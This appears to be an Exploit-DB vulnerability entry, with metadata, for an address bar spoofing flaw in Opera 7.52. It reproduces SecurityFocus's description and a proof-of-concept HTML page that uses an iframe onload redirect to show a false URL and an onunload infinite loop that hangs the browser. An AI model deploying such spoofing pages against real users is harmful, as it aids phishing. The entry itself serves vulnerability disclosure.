Opera 7.52 Address Bar Spoofing Vulnerability

vendor:

Opera Web Browser

by:

SecurityFocus

3.3

CVSS

MEDIUM

Address Bar Spoofing

601

CWE

Product Name: Opera Web Browser

Affected Version From: 7.52

Affected Version To: 7.52

Patch Exists: NO

Related CWE: N/A

CPE: o:opera_software:opera_web_browser

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WindowsXP SP1

2004

Opera 7.52 Address Bar Spoofing Vulnerability

Opera Web Browser is prone to a security weakness that may permit malicious web pages to spoof address bar information. This issue may be used to spoof information in the address bar, facilitating phishing attacks against unsuspecting users.

Mitigation:

Users should be cautious when visiting untrusted websites and should not click on suspicious links.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10679/info

Opera Web Browser is prone to a security weakness that may permit malicious web pages to spoof address bar information. 

It is currently not known if this issue is related to the Opera Web Browser Address Bar Spoofing Weakness reported in BID 10337. As more information becomes available this BID will be updated.

This issue may be used to spoof information in the address bar, facilitating phishing attacks against unsuspecting users.

This issue is reported to affect Opera Web Browser version 7.52, it is likely that other versions are affected as well.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="Content-Script-Type" content="text/javascript">
<meta http-equiv="Content-Style-Type" content="text/css">
<title>Opera 7.52 Address Bar Spoofing Vulnerability</title>
<style type="text/css">
<!-- /* begin */
 h1 { font-size:120%;}
 h2 { font-size:100%;}
/* end */ -->
</style>
<script type="text/javascript">
<!--
function urlfake(){
location.href="http://www.microsoft.com/";
}
function preinline () {
myvar = '<iframe onload="urlfake()" ';
myvar = myvar +  'title="preload inline frame" ';
myvar = myvar + 'src="http://www.opera.com/" ';
myvar = myvar +  'frameborder="0" width="760" height="1800" ';
myvar = myvar +  'marginwidth="0" marginheight="0">';
myvar = myvar +  '<' + '/iframe>';
document.write (myvar);
}
// -->
</script>
</head>
<body onunload="while(1){};">
<h1>Opera Browser 7.52 (Build 3834) Address Bar Spoofing Issue</h1>
<h2>Tested on WindowsXP SP1</h2>
<p>
<script type="text/javascript">
<!--
preinline ();
// -->
</script>
</p>
</body>
</html>